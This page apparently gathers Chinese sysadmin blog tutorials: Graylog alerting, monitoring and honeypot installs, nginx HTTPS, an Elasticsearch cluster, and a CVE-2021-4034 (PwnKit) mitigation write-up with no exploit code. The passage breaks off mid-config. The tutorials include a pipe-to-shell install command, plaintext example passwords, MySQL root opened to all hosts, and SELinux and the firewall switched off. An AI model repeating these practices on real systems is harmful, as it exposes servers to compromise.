相关文章推荐
含蓄的书签  ·  【OpenMMLab ...·  2 年前    · 
可爱的豆芽  ·  快看漫画VIP油猴 - 抖音·  2 年前    · 

商业堡垒机对接GrayLog实现生产服务器高危命令钉钉机器人自动告警

商业堡垒机对接GrayLog实现生产服务器高危命令钉钉机器人自动告警一、堡垒机配置syslog日志发送填写Graylog的IP与端口,为了好区分,我这里选用1516 UDP端口这样GrayLog上启一下Syslog UDP Input,端口为1516如图所示 日志样例XXXXXXXX SecurityAuditSystemLog logType=YAB_RESOURCE_LOGIN_LOG, startTime=2022-02-26 16:10:50, endTime=2022-02-26 16:11:14, user=yuanfan<袁繁>, sourceIP=192.168.31.100, resource=CentOS7_Prod生产服务器, targetIP=192.168.31.105, protocol=SSH, account=root日志中都是Key=Value键值对,那么是否将这些键值对直接映射成日志字段呢?通过翻阅GrayLog官方的文档,找到了一种很简单的方法https://docs.graylog.org/docs/extractorsAUTOMATICALLY EXTRACT ALL KEY=VALUE PAIRS二、配置extractor选中message最后的下三角符号,创建extractor提取器类型Copy inputStore as field:message Add converter选择Key=Value pairs as fields并Add这时新产生的堡垒机日志就自动生成字段了三、配置Prometheus告警模板比如有reboot等高危操作时推送钉钉告警 如下图生产服务器192.168.31.127出现重启命令时就产生告警Prometheus告警模板如下### [【告警信息】](.check_result.Event.Source) ### <font color=#FF0000>告警描述:{{.event_definition_description}}</font> {{ range $k,$v:=.backlog }} ###### <font color=#67C23A>告警产生时间</font>:{{GetCSTtime $v.timestamp}} ###### <font color=#67C23A>告警详细描述</font>:<font color=#FF0000>员工:{{$v.fields.user}} </font>通过堡垒机登录<font color=#FF0000>{{$v.fields.resource}}</font>于{{GetCSTtime $v.timestamp}}时间点执行了<font color=#FF0000>{{$v.fields.command}}</font>高危操作 ###### <font color=#67C23A>告警服务器名称</font>:<font color=#FF0000>{{$v.fields.resource}}</font> ###### <font color=#67C23A>告警服务器的IP</font>:{{$v.fields.targetIP}} ###### <font color=#67C23A>告警原始日志</font>:{{$v.message}} {{end}}四、GrayLog配置AlertGraylog上Alert的配置截图查询条件gl2_remote_ip:192.168.31.245 AND resource:"生产服务器192.168.31.127," AND command:"reboot,"然你的查询条件可以不局限这个示例,比如生产服务器如果都需要告警,可以在堡垒上把相关的生产服务器名称中都加上生产服务器的标签 这时查询条件可以这样写:gl2_remote_ip:192.168.31.245 AND resource:生产服务器* AND command:reboot,告警条件及查询语法请自行思维发散五、钉钉机器人告警效果钉钉机器人告警效果如下总结:本文有测试阶段时也踩过不少坑在graylog-server-3.3.16+elasticsearch-oss-6.8.8环境中踩了一些坑,截图如下测试环境中使用的是GrayLog4.1.5+elasticsearch-7.14.0,测试一切正常 经过日志分析与Graylog+Google求证,最后参考如下几个链接解决https://community.graylog.org/t/key-value-extractor-and-quotes-remove-whitespaces-with-regex-and-replace/3907/6 https://community.graylog.org/t/indexer-error-mapper-parsing-exception-no-matching-token-for-number-type-big-integer/22701/9 https://docs.graylog.org/docs/elasticsearch#custom-index-mappings https://www.cnblogs.com/huangxiufen/p/12461191.html

【滴滴开源运维监控系统】夜莺V5版本部署实践

【滴滴开源运维监控系统】夜莺V5版本部署实践滴滴开源运维监控系统-夜莺Nightingale夜莺是新一代国产智能监控系统。对云原生场景、传统物理机虚拟机场景,都有很好的支持,10分钟完成搭建,1小时熟悉使用,经受了滴滴生产环境海量数据的验证,希望打造国产监控的标杆之作新版Nightingale在2020.3.20发布v1版本,目前是v5.0版本,从这个版本开始,与Prometheus、VictoriaMetrics、Grafana、Telegraf等生态做了协同集成,力争打造国内最好用的开源运维监控系统。 本文参考如下链接完成https://n9e.gitee.io/quickstart/standalone/ https://n9e.gitee.io/quickstart/telegraf/ https://blog.csdn.net/smallbird108/article/details/122497200相关组件安装包准备1、https://downloads.mysql.com/archives/community/ 2、https://github.com/prometheus/prometheus/releases/download/v2.33.1/prometheus-2.33.1.linux-amd64.tar.gz 3、https://dl.influxdata.com/telegraf/releases/telegraf-1.21.3-1.x86_64.rpm 4、https://github.com/n9e/fe-v5/releases n9e-5.3.3.tar.gz一、安装MySQL rpm -ivh mysql-community-common-5.7.36-1.el7.x86_64.rpm rpm -ivh mysql-community-libs-5.7.36-1.el7.x86_64.rpm rpm -ivh mysql-community-client-5.7.36-1.el7.x86_64.rpm rpm -ivh mysql-community-server-5.7.36-1.el7.x86_64.rpm systemctl start mysqld netstat -anp | grep 3306 systemctl enable mysqld 查看初始密码 grep 'temporary password' /var/log/mysqld.log set password for root@localhost=password('MySQL_2022'); grant all privileges on *.* to root@'%' identified by 'MySQL_2022'; flush privileges;二、安装prometheusmkdir -p /opt/prometheus tar xf prometheus-2.33.1.linux-amd64.tar.gz cp -far prometheus-2.33.1.linux-amd64/* /opt/prometheus/ cd /opt/prometheus chown -R root:root *# service cat <<EOF >/etc/systemd/system/prometheus.service [Unit] Description="prometheus" Documentation=https://prometheus.io/ After=network.target [Service] Type=simple ExecStart=/opt/prometheus/prometheus --config.file=/opt/prometheus/prometheus.yml --storage.tsdb.path=/opt/prometheus/data --web.enable-lifecycle --enable-feature=remote-write-receiver --query.lookback-delta=2m Restart=on-failure SuccessExitStatus=0 LimitNOFILE=65536 StandardOutput=syslog StandardError=syslog SyslogIdentifier=prometheus [Install] WantedBy=multi-user.target systemctl daemon-reload systemctl enable prometheus systemctl restart prometheus systemctl status prometheus 其中prometheus在启动的时候要注意开启 --enable-feature=remote-write-receiver三、安装Redis建议给Redis添加密码curl -o /etc/yum.repos.d/epel.repo http://mirrors.aliyun.com/repo/epel-7.repo yum install -y redis systemctl enable redis vim /etc/redis.confsystemctl restart redis四、n9e部署mkdir /usr/local/n9e tar -zxvf n9e-5.3.3.tar.gz -C /usr/local/n9e/ vim /usr/local/n9e/etc/server.conf 配置文件中MySQL Redis连接密码修改以及对接IP地址修改 vim /usr/local/n9e/etc/webapi.conf mysql -uroot -p'MySQL_2022' < /usr/local/n9e/docker/initsql/a-n9e.sqlmkdir /opt/n9e cat <<EOF >/etc/systemd/system/n9e-server.service [Unit] Description="n9e-server" After=network.target [Service] Type=simple ExecStart=/usr/local/n9e/n9e server WorkingDirectory=/usr/local/n9e Restart=on-failure SuccessExitStatus=0 LimitNOFILE=65536 StandardOutput=syslog StandardError=syslog SyslogIdentifier=n9e-server [Install] WantedBy=multi-user.target cat <<EOF >/etc/systemd/system/n9e-webapi.service [Unit] Description="n9e-webapi" After=network.target [Service] Type=simple ExecStart=/usr/local/n9e/n9e webapi WorkingDirectory=/usr/local/n9e Restart=on-failure SuccessExitStatus=0 LimitNOFILE=65536 StandardOutput=syslog StandardError=syslog SyslogIdentifier=n9e-server [Install] WantedBy=multi-user.target EOFsystemctl enable n9e-server.service systemctl enable n9e-server.service systemctl enable n9e-webapi.service systemctl restart n9e-server.service n9e-webapi.service systemctl status n9e-server.service systemctl status n9e-webapi.service firewall-cmd --permanent --zone=public --add-port=18000/tcp firewall-cmd --permanent --zone=public --add-port=19000/tcp firewall-cmd --reload五、监控主机上安装采集器telegraf例如找一台监控主机作为监控主机客户端进行测试rpm -ivh telegraf-1.21.3-1.x86_64.rpmcat <<EOF > /etc/telegraf/telegraf.conf [global_tags] [agent] interval = "10s" round_interval = true metric_batch_size = 1000 metric_buffer_limit = 10000 collection_jitter = "0s" flush_interval = "10s" flush_jitter = "0s" precision = "" hostname = "" omit_hostname = false [[outputs.opentsdb]] host = "http://192.168.31.127" port = 19000 http_batch_size = 50 http_path = "/opentsdb/put" debug = false separator = "_" [[inputs.cpu]] percpu = true totalcpu = true collect_cpu_time = false report_active = true [[inputs.disk]] ignore_fs = ["tmpfs", "devtmpfs", "devfs", "iso9660", "overlay", "aufs", "squashfs"] [[inputs.diskio]] [[inputs.kernel]] [[inputs.mem]] [[inputs.processes]] [[inputs.system]] fielddrop = ["uptime_format"] [[inputs.net]] ignore_protocol_stats = true systemctl restart telegraf.service六、登录n9e web服务端参看监控指标项默认用户名密码为:root/root.2000 这里使用telegraf作为采集器,本文只简单介绍入门部署,更多功能待研究与实践

【紧急漏洞】Linux polkit本地权限提升漏洞(CVE-2021-4034)POC复现过程与修复方法

Linux polkit本地权限提升漏洞(CVE-2021-4034)POC复现过程与修复方法一、漏洞详情漏洞名称:Linux polkit本地权限提升漏洞(CVE-2021-4034)漏洞类型:应用漏洞威胁等级:高危CVE编号: CVE-2021-4034披露时间: 2022-01-26 漏洞描述: 近日,国外安全团队发布安全公告称,在 polkit 的 pkexec 程序中发现了一个本地权限提升漏洞。pkexec 应用程序是一个 setuid 工具,旨在允许非特权用户根据预定义的策略以特权用户身份运行命令。由于当前版本的 pkexec 无法正确处理调用参数计数,并最终会尝试将环境变量作为命令执行。攻击者可以通过控制环境变量,从而诱导 pkexec 执行任意代码。利用成功后,可导致非特权用户获得管理员权限。具体漏洞原理分析见如下链接https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escal风险等级:高目前漏洞POC已被泄露,攻击者利用该漏洞可导致恶意用户权限提升等危害影响版本:由于为系统预装工具,目前主流Linux版本均受影响安全版本CentOS系列:CentOS 6:polkit-0.96-11.el6_10.2CentOS 7:polkit-0.112-26.el7_9.1CentOS 8.0:polkit-0.115-13.el8_5.1CentOS 8.2:polkit-0.115-11.el8_2.2CentOS 8.4:polkit-0.115-11.el8_4.2目前RedHat已经提供修复包参考如下链接https://access.redhat.com/security/cve/CVE-2021-4034截止到目前2022/01/26, CentOS目前已提供安全更新包http://mirror.centos.org/centos/7/updates/x86_64/Packages/polkit-0.112-26.el7_9.1.x86_64.rpm修复建议:CentOS用户官方源更新采用如下命令升级到安全版本或更高版本:yum clean all && yum makecache yum update polkit -y验证修复,通过以下命令可查看Polkit是否为安全版本rpm -qa polkit二、漏洞复现POC如下图所示 普通用户使用POC程序可以直接提权到root,可见漏洞风险较高三、漏洞临时缓解措施chmod 0755 /usr/bin/pkexec如下图所示,使用临时缓解措施后可以看到POC不再成功 对比临时缓解措施修复前和修复后s位ll /usr/bin/pkexec stat /usr/bin/pkexec四、漏洞彻底修复方法也可以手动下载polkit-0.112-26.el7_9.1.x86_64.rpm进行rpm -Uvh修复rpm -Uvh polkit-0.112-26.el7_9.1.x86_64.rpm rpm -aq | grep polkit查看Polkit是否为安全版本如图所示,先还原成原状态,再rpm -Uvh升级验证是否修复POC程序运行这时无法提权,漏洞修复成功

CentOS Stream 9通过配置sshd_config中AllowUsers实现SSH访问控制

CentOS Stream 9通过配置sshd_config中AllowUsers实现SSH访问控制一、CentOS目前主流的几个版本说明CentOS Linux 与CentOS StreamCentOS Linux 目前两个主要版本-- CentOS Linux 7-- CentOS Linux 8CentOS Stream 目前两个主要版本-- CentOS Stream 8-- CentOS Stream 9二、CentOS Stream 9 系统安装初体验1、安装过程截图2、安装后关闭SELINUXgetenforce setenforce 0 sed -i 's/^SELINUX=.*$/SELINUX=disabled/' /etc/selinux/config cat /etc/selinux/config接下来进行正题三、CentOS Stream 9通过配置sshd_config中AllowUsers实现SSH访问控制1、CentOS Stream 9默认无/etc/hosts.allow在CentOS Stream 9系统中ll /etc/hosts.allow ldd /usr/sbin/sshd可以发现无libwrap.so.0库文件系统中没有/etc/hosts.allow 和/etc/hosts.deny 文件对比CentOS7系统具体参考如下两篇文章利用tcp_wrapper实现SSH登录的IP访问控制细谈企业网络安全中堡垒机绕过问题2、man sshd_configman sshd_config查看AllowUsers参数配置说明AllowUsers This keyword can be followed by a list of user name patterns, separated by spaces. If specified, login is allowed only for user names that match one of the patterns. Only user names are valid; a numerical user ID is not recognized. By default, login is allowed for all users. If the pattern takes the form USER@HOST then USER and HOST are separately checked, restricting logins to particular users from particular hosts. HOST criteria may additionally contain addresses to match in CIDR ad‐ dress/masklen format. The allow/deny users directives are processed in the follow‐ ing order: DenyUsers, AllowUsers.3、SSH访问控制配置步骤实践vi /etc/ssh/sshd_config 添加如下一行,只允许192.168.31.100+root用户登录 AllowUsers root@192.168.31.100 systemctl restart sshd验证:192.168.31.232尝试SSH登录CentOS Stream 9 192.168.31.192输入正确密码也会提示登录失败在CentOS Stream 9服务器上查看日志tail -f /var/log/secure 可以看到如下日志 Jan 24 21:07:47 localhost sshd[1447]: User root from 192.168.31.232 not allowed because not li这样就可以实现SSH访问控制当注释掉AllowUsers这一行,重启sshd服务,就可以正常登录Tips:CentOS Linux 8以后就不再支持/etc/hosts.allow和/etc/hosts.deny1、CentOS Linux 8 2、CentOS Stream 9 3、CentOS Stream 8以上3种系统均可以按本文中方法来实现SSH访问控制

VS Code通过跳板机连接服务器进行远程代码开发

VS Code通过跳板机连接服务器进行远程代码开发VScode发布了远程编程与调试的插件Remote Development包含(remote-ssh插件),使用这个插件可以在很多情况下代替vim直接远程修改与调试服务器上的代码,同时具备代码高亮与补全功能,就和在本地使用VScode一样,不用在服务器端翻来覆去的配置vim插件场景1:内网VScode直接SSH远程服务器如下图所示,开发工程师在公司内网直接通过VScode直接SSH远程服务器在VS code中修改与调试服务器上的代码,具体步骤如下1、在vscode中安装remote-ssh插件直接在vscode中搜索Remote-SSH或者Remote Development插件即可安装 具体参考如下链接https://marketplace.visualstudio.com/items?itemName=ms-vscode-remote.vscode-remote-extensionpack https://marketplace.visualstudio.com/items?itemName=ms-vscode-remote.remote-ssh2、Win10机器上生成SSH密钥对ssh-keygen -b 4096 -t rsa3、并将公钥拷贝到开发服务器上开发服务器IP:192.168.31.232cat id_rsa.pub cat id_rsa.pub >> /root/.ssh/authorized_keys并在Win10机器上验证免密登录是否OK cmd命令行中验证ssh root@192.168.31.2324、VScode中SSH连接服务器1)、点击远程资源管理器SSH TARGETS 然后Enter SSH Connection Command输入框中输入 ssh root@192.168.31.2322)、选择SSH配置文件可以选择默认的用户目录下.ssh/config作为默认VScode SSH连接的配置文件3)、点击Connect 4)、选择目标服务器的操作系统平台:LinuxTips:当出现如下报错时可以更改为其它路径下配置文件作为VScode SSH连接的配置文件例如D:\YuanFan.ssh\config但实际的原因是因为主机名与用户一致导致的,参考如下链接https://github.com/PowerShell/openssh-portable/pull/418连接成功后,进行文件编辑 也可以在资源管理器中选择服务器上文件直接编辑 场景2:VScode通过跳板机SSH远程到目标服务器当然在家远程办公时或者其它有跳板机的情况下 以下图为例 192.168.31.105为跳板机,也是Linux服务器  为了安全起见只将跳板机192.168.31.105映射到公网,例如映射成的地址为192.168.1.3(模拟为公网IP进行测试)  这里为了演示方便,我直接用家用路由器模拟配置DMZ 192.168.31.105  路由器WAN口192.168.1.3 在VScode SSH连接的配置文件中添加如下配置Host JumperServer HostName 192.168.1.3 User root Port 22 Host DevloperServer HostName 192.168.31.232 User root ProxyCommand ssh.exe -W %h:%p JumperServer为何这样配置,可以参考如下几个链接[https://zhuanlan.zhihu.com/p/103578899] [https://www.cnblogs.com/azureology/p/14620969.html] [https://www.edwardzcn98yx.com/post/658f5f87.html]并将公钥也拷贝到跳板机192.168.31.105服务器上效果演示 以上就是VSode通过跳板机的方式SSH远程调试修改开发服务器上代码的步骤3、延展待研究讨论不过企业内网里部署了商业堡垒机,也就是图中Linux跳板机替换为商业堡垒机这种VSCode先通过连接堡垒机再跳转到目标开发服务器的场景目前暂未测试过,有兴趣的堡垒机厂商朋友可以研究一下

基于Debian10.10的开源蜜罐T-Pot 20.06.2安装

什么是蜜罐技术?蜜罐技术本质上是一种对攻击方进行欺骗的技术,通过布置一些作为诱饵的主机、网络服务或者信息,诱使攻击方对它们实施攻击,从而可以对攻击行为进行捕获和分析,了解攻击方所使用的工具与方法,推测攻击意图和动机,能够让防御方清晰地了解他们所面对的安全威胁,并通过技术和管理手段来增强实际系统的安全防护能力。开源蜜罐T-PotT-Pot 蜜罐系统是一个多用途蜜罐框架,该框架部署了一系列协议特定的Docker 容器,可模拟常见的可利用服务。它具有多块虚拟网卡,可运行多个蜜罐守护程序和工具,同时占用空间较小,并对所有蜜罐进行限制不互相干扰彼此的运行环境。T-Pot 框架从每个容器收集所有日志,然后集中到一个弹性堆栈中,从而为管理员提供了针对每种服务的所有攻击的前端视图。还捕获了恶意软件样本,从而提供了进一步分析攻击的能力。T-Pot开源项目地址:https://github.com/telekom-security/tpotce最新版本为20.06.02T-Pot 框架图如下基于Debian10.10的开源蜜罐T-Pot 20.06.2安装本文参考如下链接完成 https://blog.csdn.net/qq_42675635/article/details/117714519 https://blog.csdn.net/aa1291844114/article/details/1125633521、先准备一台Debian10.10的VMware虚拟机具体安装步骤可以参考之前的文章 aaaaa 图解Debian10Linux系统的安装步骤​2、登录Debian10.10虚拟机后台并配置更新源vi /etc/apt/sources.list cat /etc/apt/sources.list # deb cdrom:[Debian GNU/Linux 10.10.0 _Buster_ - Official amd64 DVD Binary-1 20210619-16:12]/ buster contrib main #deb cdrom:[Debian GNU/Linux 10.10.0 _Buster_ - Official amd64 DVD Binary-1 20210619-16:12]/ buster contrib main deb http://mirrors.tuna.tsinghua.edu.cn/debian/ buster main deb-src http://mirrors.tuna.tsinghua.edu.cn/debian/ buster main deb http://security.debian.org/debian-security buster/updates main contrib deb-src http://security.debian.org/debian-security buster/updates main contrib # buster-updates, previously known as 'volatile' deb http://mirrors.tuna.tsinghua.edu.cn/debian/ buster-updates main contrib deb-src http://mirrors.tuna.tsinghua.edu.cn/debian/ buster-updates main contrib ​apt-get update apt-get install lrzsz net-tools git grc​​3、安装并配置apt-fast关于apt-fast可以参考如下文章https://linux.cn/article-4246-1.htmlvi /etc/apt/sources.list.d/apt-fast.list deb http://ppa.launchpad.net/apt-fast/stable/ubuntu bionic main deb-src http://ppa.launchpad.net/apt-fast/stable/ubuntu bionic mainapt-key adv --keyserver keyserver.ubuntu.com --recv-keys A2166B8DE8BDC3367D1901C11EE2FF37CA8DA16B apt-get update apt-get install apt-fast​echo "MIRRORS=( ' http://mirrors.163.com/debian/,https://mirrors.tuna.tsinghua.edu.cn/debian/,http://mirrors.ustc.edu.cn/debian/' )" >> /etc/apt-fast.conf4、安装npmapt-fast install npm apt-get install curl curl https://www.npmjs.com/install.sh | sh npm config set registry http://registry.npm.taobao.org​​​5​、配置docker加速mkdir /etc/docker/ touch /etc/docker/daemon.json cat > /etc/docker/daemon.json << 'EOF' "registry-mirrors": ["https://1jk30jsb.mirror.aliyuncs.com"] EOF​6、上传tpotce的安装压缩包下载地址https://codeload.github.com/telekom-security/tpotce/tar.gz/refs/tags/20.06.2cd /opt tar -zxf tpotce-20.06.2.tar.gz​7、安装T-Potcd /opt/tpotce-20.06.2/iso/installer/ chmod 755 *.sh ./install.sh --type=user安装耗时较久,安装时长依网速而定​​​8、安装完成会自动重启安装了GUI界面的话,按CTRL+ALT+F2~F6切换会话 可以看到对应 SSH端口已修改为64295 9、SSH登录后台查看容器状态cd /opt/tpot/bin ./dps.sh其他设置,修改系统时区10、登录Tpot界面使用安装时设置的web账户密码登录 https://IP:64297​​集成了cockpit​11、测试kali机器尝试hydra,nmap扫描等攻击行为测试 然后可以在kibana上查看到攻击报表汇总数据截图如下 Tpot蜜罐其它功能菜单使用可以后续自行摸索,初步的安装入门教程就到此为止

腾讯蓝鲸智云运维平台单机版本部署实践

【腾讯】蓝鲸智云运维平台单机版本部署实践【蓝鲸智云社区版】是腾讯对外开放的一套支持私有化部署、永久免费的运维解决方案。 该版本包含CMDB管理、作业脚本执行、流程编排、日志检索、监控告警、 故障自愈、微服务容器管理以及持续集成(CI)等能力,助力企业技术人员快速构建一体化运维支撑以及研发效能提升的能力,推动企业数字化转型。1、基础环境准备操作系统建议是CentOS7.6及以上版本,计算资源:8核16G内存及以上 yum源等基础环境初始化命令wget -O /etc/yum.repos.d/CentOS-Base.repo http://mirrors.cloud.tencent.com/repo/centos7_base.repo wget -O /etc/yum.repos.d/epel.repo http://mirrors.cloud.tencent.com/repo/epel-7.repo yum clean all yum makecache sestatus setenforce 0 sed -i 's/^SELINUX=enforcing/SELINUX=disabled/g' /etc/selinux/config systemctl stop firewalld systemctl disable firewalld yum -y install rsync cat >> /etc/security/limits.conf << EOF root soft nofile 102400 root hard nofile 102400 EOF最后时间进行同步ntpdate ntp.aliyun.com可以参考官方的环境准备详细文档https://bk.tencent.com/docs/document/6.0/127/75432、磁盘分区准备建议单独准备一块大于100G的磁盘用于/data分区 例如sdb盘,并使用LVM的方式挂载到/data目录fdisk /dev/sdb #全盘只分一个区 lsblk pvcreate /dev/sdb1 vgcreate vg_data /dev/sdb1 lvcreate -l 100%FREE -n lv_data vg_data mkfs.xfs /dev/mapper/vg_data-lv_data mkdir /data blkid vi /etc/fstab #添加一行 /dev/mapper/vg_data-lv_data /data xfs defaults 0 0 cat /etc/fstab mount -a3、安装bk1、从官网下载基础安装包,并解压到/data下实际版本请以蓝鲸官网下载为准。tar xf bkce_basic_suite-6.0.5.tgz -C /data2、获取机器的 MAC 地址后,下载 证书文件,解压到 /data/src/cert 目录下install -d -m 755 /data/src/cert tar xf ssl_certificates.tar.gz -C /data/src/cert chmod 644 /data/src/cert/* #解压各个产品软件包 cd /data/src/; for f in *gz;do tar xf $f; done #拷贝 rpm 软件包 cp -a /data/src/yum /opt3、修改 bk_install 脚本cd /data/install sed -i '/start job/i\\t./pcmd.sh\ -m\ job\ \"sed -i '\'/JAVA_OPTS/c\ JAVA_OPTS="-Xms128m -Xmx128m"\'\ /etc/sysconfig/bk-job-*\" bk_install4、安装cd /data/install ./install_minibk -y安装过程中遇到失败的情况,请先定位排查解决后,再重新运行失败时的安装指令。5、执行完部署后,执行降低内存消耗脚本以,确保环境的稳定#执行降低内存消耗脚本 cd /data/install/ bash bin/single_host_low_memory_config.sh tweak all8、检测相关服务状态cd /data/install/ echo bkssm bkiam usermgr paas cmdb gse job consul | xargs -n 1 ./bkcli check4、访问蓝鲸并登陆执行以下命令,获取管理员账号和密码。grep -E "BK_PAAS_ADMIN_USERNAME|BK_PAAS_ADMIN_PASSWORD" /data/install/bin/04-final/usermgr.env本地主机修改hosts本地解析文件登陆登陆默认有如下7个模块 各自功能可自行研究

为GrayLog Web接口配置nginx HTTPS/SSL反向代理

为GrayLog Web接口配置nginx HTTPS/SSL反向代理本文参考https://docs.graylog.org/docs/web-interface完成 准备条件1、域名根域名walkingcloud.cn二级域名graylog.walkingcloud.cn2、SSL(HTTPS)证书可以在腾讯云SSL证书控制台申请一个免费证书,并下载nginx版本的证书 例如证书对应graylog.walkingcloud.cn域名具体步骤域名购买,注册等步骤忽略,下面主要介绍证书申请及nginx配置1、登陆腾讯云SSL证书控制台申请免费证书我的证书->申请免费证书证书绑定域名:graylog.walkingcloud.cn 待申请成功后下载nginx版本证书2、Graylog所在服务器安装nginx并配置nginxyum install epel-release yum install nginxcd /etc/nginx/ vim nginx.conf其中graylog的web端口为8000修改成如下server { listen 80; listen [::]:80; server_name graylog.walkingcloud.cn; rewrite ^(.*)$ https://$host$1; location / { proxy_set_header Host $http_host; proxy_set_header X-Forwarded-Host $host; proxy_set_header X-Forwarded-Server $host; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Graylog-Server-URL http://$server_name/; proxy_pass http://127.0.0.1:8000; # Load configuration files for the default server block. include /etc/nginx/default.d/*.conf; error_page 404 /404.html; location = /404.html { error_page 500 502 503 504 /50x.html; location = /50x.html { }HTTPS/SSL的配置# Settings for a TLS enabled server. server { listen 443 ssl http2; listen [::]:443 ssl http2; server_name graylog.walkingcloud.cn; root /usr/share/nginx/html; ssl_certificate "/etc/nginx/ssl/server.crt"; ssl_certificate_key "/etc/nginx/ssl/server.key"; ssl_session_cache shared:SSL:1m; ssl_session_timeout 10m; ssl_ciphers HIGH:!aNULL:!MD5; ssl_protocols TLSv1.2 TLSv1.3; ssl_prefer_server_ciphers on; location / proxy_set_header Host $http_host; proxy_set_header X-Forwarded-Host $host; proxy_set_header X-Forwarded-Server $host; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Graylog-Server-URL https://$server_name/; proxy_pass http://127.0.0.1:8000; # Load configuration files for the default server block. include /etc/nginx/default.d/*.conf; error_page 404 /404.html; location = /40x.html { error_page 500 502 503 504 /50x.html; location = /50x.html { }并将证书上传到配置文件中指定的目录,文件名要与配置文件中一致3、接下重启nginx服务systemctl restart nginx.service firewall-cmd --add-port=80/tcp --zone=public --permanent firewall-cmd --add-port=443/tcp --zone=public --permanent firewall-cmd --reload4、配置域名解析验证SSL证书是否OK先配置域名解析这里修改客户端访问的本地/etc/hosts文件模拟域名解析,进行测试Mac下sudo vi /etc/hosts 192.168.31.232 graylog.walkingcloud.cn浏览器访问http://graylog.walkingcloud.cn会自动跳转到https站点 https://graylog.walkingcloud.cn如图所示可以看到SSL证书正常有效win10机器测试截图

ElasticSearch可视化管理工具cerebro的安装与简单使用

cerebro 是一个基于 Scala、Play Framework、AngularJS和Bootstrap构建的开源elasticsearch Web可视化管理工具。cerebro 需要 Java 11 或更高版本才能运行。下面介绍CentOS7下cerebro的安装与简单使用1、下载cerebro的Linux版本安装包https://github.com/lmenezes/cerebro/releases可以下载rpm安装包2、安装cerebrorpm -ivh cerebro-0.9.4-1.noarch.rpm 并安装JDK11 yum install java-11-openjdk.x86_64 java-11-openjdk-devel3、修改cerebro配置文件cd /usr/share/cerebro/conf cp application.conf application.conf_default vim application.conf1)、指定cerebro.db的路径注释掉data.path = "./cerebro.db" 取消data.path: "/var/lib/cerebro/cerebro.db"的注释 修改成如下 data.path: "/var/lib/cerebro/cerebro.db" #data.path = "./cerebro.db"2)、例如端口修改为9001端口server.http.port = ${?CEREBRO_PORT}修改为server.http.port = 9001 aaa4、启动cerebro服务systemctl start cerebro.service netstat -anp | grep 9001防火墙放通9001端口firewall-cmd --permanent --zone=public --add-port=9001/tcp firewall-cmd --reload5、登录cerebro并连接ES集群例如我连接之前创建的graylog的ES集群192.168.31.127 6、在cerebro中查看ES集群的具体信息也可以cerebro中对ES集群进行相关配置,这里就不详细介绍了

Graylog4.2集群部署完整教程

GrayLog多节点集群架构如下下面介绍Graylog4.2集群部署过程基础环境准备三台服务器:CentOS7.9的虚拟机/data分区(LVM) 用于Elasticsearch日志数据存储内存大小为6GB IP地址和主机名如下:192.168.31.211 graylog01 graylog01.walkingcloud.cn192.168.31.212 graylog02 graylog02.walkingcloud.cn192.168.31.213 graylog03 graylog03.walkingcloud.cn均已关闭SELINUX 一、配置MongoDB集群1、三台均安装mongodbcat > /etc/yum.repos.d/mongodb-org.repo << \EOF [mongodb-org] name=MongoDB Repository baseurl=https://mirrors.aliyun.com/mongodb/yum/redhat/$releasever/mongodb-org/4.4/x86_64/ gpgcheck=1 enabled=1 gpgkey=https://www.mongodb.org/static/pgp/server-4.4.asc yum install -y mongodb-org2、三台均先启动mongodbsystemctl daemon-reload systemctl enable mongod.service systemctl start mongod.service systemctl --type=service --state=active | grep mongod firewall-cmd --add-port=27017/tcp --permanent --zone=public firewall-cmd --reload3、主节点生成授权认证keyfile文件并拷贝到其它节点openssl rand -base64 756 > /var/lib/mongo/access.keyfile chown mongod:mongod /var/lib/mongo/access.keyfile chmod 600 /var/lib/mongo/access.keyfile scp -rp /var/lib/mongo/access.keyfile root@graylog02:/var/lib/mongo/ scp -rp /var/lib/mongo/access.keyfile root@graylog03:/var/lib/mongo/4、vi修改/etc/mongod.conf以主节点为例,修改配置文件vi /etc/mongod.conf port: 27017 bindIp: 192.168.31.211 security: keyFile: /var/lib/mongo/access.keyfile replication: replSetName: graylog-rsgraylog02修改成如下graylog03修改成如下5、初始化集群这里为了本地能登录mongo先将bindIp: 192.168.31.211修改为bindIp: 0.0.0.0 并重启服务 systemctl restart mongod.service输入mongo进数据库use admin rs.initiate( { _id : "graylog-rs", members: [ { _id: 0, host: "192.168.31.211:27017" }, { _id: 1, host: "192.168.31.212:27017" }, { _id: 2, host: "192.168.31.213:27017" } rs.status()查看集群状态6、创建graylog数据库并设置密码#修改admin用户密码 use admin db.createUser({user: "admin", pwd: "Admin@2021", roles: ["root"]}) db.auth("admin","Admin@2021") #创建graylog数据库并设置密码 use graylog db.createUser({ user: "graylog", pwd: "Graylog2021", "roles" : [{ "role" : "dbOwner", "db" : "graylog" "role" : "readWrite", "db" : "graylog" })7、将主节点bindIp配置恢复并重启mongod服务将graylog01的bindIp修改成192.168.31.211并重启服务这时使用账号和密码登录mongo在graylog02 重启mongod服务,使graylog01重新变为Primary角色二、搭建Elasticsearch集群1、三台节点均以rpm包方式安装Elasticsearchcd /opt wget https://mirrors.cloud.tencent.com/elasticstack/yum/elastic-7.x/7.16.2/elasticsearch-7.16.2-x86_64.rpm rpm -ivh elasticsearch-7.16.2-x86_64.rpm systemctl daemon-reload systemctl enable elasticsearch.service systemctl start elasticsearch.service firewall-cmd --add-port=9200/tcp --permanent --zone=public firewall-cmd --reload2、创建存储和日志文件夹mkdir -p /data/elasticsearch/data mkdir -p /data/elasticsearch/logs chown -R elasticsearch:elasticsearch /data/elasticsearch cp /etc/elasticsearch/elasticsearch.yml /etc/elasticsearch/elasticsearch.yml_default3、修改elasticsearch.yml配置文件vi/etc/elasticsearch/elasticsearch.yml1)graylog01节点#添加并修改成如下行cluster.name: graylog-cluster action.auto_create_index: false node.name: graylog01 node.master: true node.data: true path.data: /data/elasticsearch/data path.logs: /data/elasticsearch/logs network.host: 192.168.31.211 http.port: 9200 transport.port: 9300 discovery.seed_hosts: ["192.168.31.211:9300", "192.168.31.212:9300", "192.168.31.213:9300"] cluster.initial_master_nodes: ["graylog01"]2)graylog02节点cat /etc/elasticsearch/elasticsearch.yml | grep -v "^#" | grep -v "^$" cluster.name: graylog-cluster action.auto_create_index: false node.name: graylog02 node.master: false node.data: true path.data: /data/elasticsearch/data path.logs: /data/elasticsearch/logs network.host: 192.168.31.212 http.port: 9200 transport.port: 9300 discovery.seed_hosts: ["192.168.31.211:9300", "192.168.31.212:9300", 